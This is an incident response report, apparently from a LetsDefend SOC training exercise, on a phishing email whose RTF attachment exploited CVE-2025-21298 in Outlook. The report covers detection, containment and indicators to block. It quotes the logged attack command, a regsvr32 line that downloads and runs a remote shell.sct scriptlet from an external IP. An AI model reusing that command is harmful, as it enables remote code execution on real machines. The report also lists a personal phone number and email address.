
 

Contact Person 

Full name  Job title / role 

Ahmed Emad Nasr  Incident Response Analyst 

Department / team  Email address 

Security Operations Center (SOC)  Ahmed.em.nasr@gmail.com 

Phone number   

+201018166445   

 

The Incident 

Date and time discovered: 

Feb, 04, 2025, 04:18 PM. 

How was the incident detected? (E.g., user report, monitoring system alert) 

A Critical severity alert was triggered in the Monitoring system under the rule "SOC336 - Windows OLE Zero-

Click RCE Exploitation Detected (CVE-2025-21298)". 

Detailed description of the incident (include what occurred, where, and how): 

  An email originating from the external address projectmanagement@pm.me was sent to the internal user 

Austin@letsdefend.io with the subject line "Important: Action Required for Upcoming Project Deadline". 

  The email contained a malicious RTF attachment named mail.rtf (Hash: 

df993d037cdb77a435d6993a37e7750dbbb16b2df64916499845b56aa9194184), and the Device Action recorded 

was "Allowed". 

  The National Vulnerability Database (NVD) identifies CVE-2025-21298 as a "Windows OLE Remote Code 

Execution Vulnerability" carrying a Critical CVSS Base Score of 9.8. 

 Endpoint process logs for Austin's machine (IP: 172.16.17.137) show that at 08:06:08 AM on Feb 04, 2025, the 

parent process OUTLOOK.EXE spawned a command prompt (cmd.exe). 

  This command prompt subsequently executed the following command line: "C:\Windows\System32\cmd.exe" /c 

regsvr32.exe /s /u /i:http://84.38.130.118.com/shell.sct scrobj.dll .  Network and proxy logs confirm that a 

successful outbound HTTP GET request was made from Austin's machine to the malicious destination 

84.38.130.118 to retrieve the shell.sct file, with the proxy action logged as "Permitted". 

Was the incident ongoing at the time of report?  

☐ Yes ☒ No  

Have any files, accounts, or systems been compromised?  

☒ Yes ☐ No  

If yes, please describe: 

The host Austin (172.16.17.137) was successfully compromised. The zero-click exploit triggered within Outlook, 

allowing the attacker to achieve Remote Code Execution (RCE) and fetch a remote scriptlet ( shell.sct) via the 

native Windows regsvr32 utility. 

 

Notification 

Was your supervisor or manager notified?  Date/time of notification: 

☒ Yes ☐ No  April 4, 2026 

Was the IT/security team 

alerted?  If yes, who was contacted and how? (e.g., email, phone, ticket) 

☒ Yes ☐ No  
Escalated to the Incident Response team via Case Management 

to implement host containment. 

 



Containment Measures 

What immediate actions were taken to contain the threat? (E.g., system shutdown, network isolation) 

The endpoint Austin (172.16.17.137) has been successfully isolated from the corporate network, as indicated by 

the active "Host Contained" status in the Endpoint Security dashboard. 

Were any user accounts disabled, firewalls updated, or services suspended?  

☒ Yes ☐ No  

If yes, provide details: 

Firewall and proxy rules must be updated immediately to block the malicious IP address 84.38.130.118 and the 

sender address projectmanagement@pm.me. 

The malicious RTF attachment hash should be blacklisted in the EDR solution. 

 

 

Impacted Services Measures 

List any systems, devices, or applications affected by the incident: 

Workstation Hostname: Austin (IP: 172.16.17.137). 

Application: Microsoft Outlook (OUTLOOK.EXE). 

 

Estimated number of affected users, if applicable: 

1 user (Austin). 

Was there any known data loss or exposure?  

☐ Yes ☒ No  

If yes, describe the type of data (e.g., personal info, credentials, financial): 

 

 

Preliminary Analysis (Optional) 

Suspected cause or entry point (e.g., phishing email, unpatched software): 

Exploitation of a critical Windows OLE zero-click vulnerability (CVE-2025-21298). The exploit was delivered via a 

crafted .rtf attachment sent via email, which executed automatically when previewed or opened by the 

Outlook client, requiring no active clicks from the user.  

Was the threat internal, external, or unknown? 

☐ Internal ☒ External ☐ Unknown 

 

 
Submitted by: 

  

Ahmed Emad Nasr  Ahmed Emad Nasr   

Name  Signature  Date submitted 



 

 

 

 

     



 

 

 

 



 

 

 

 



 

 

 

 



 

 

 

 



 

 

 

 



 

 


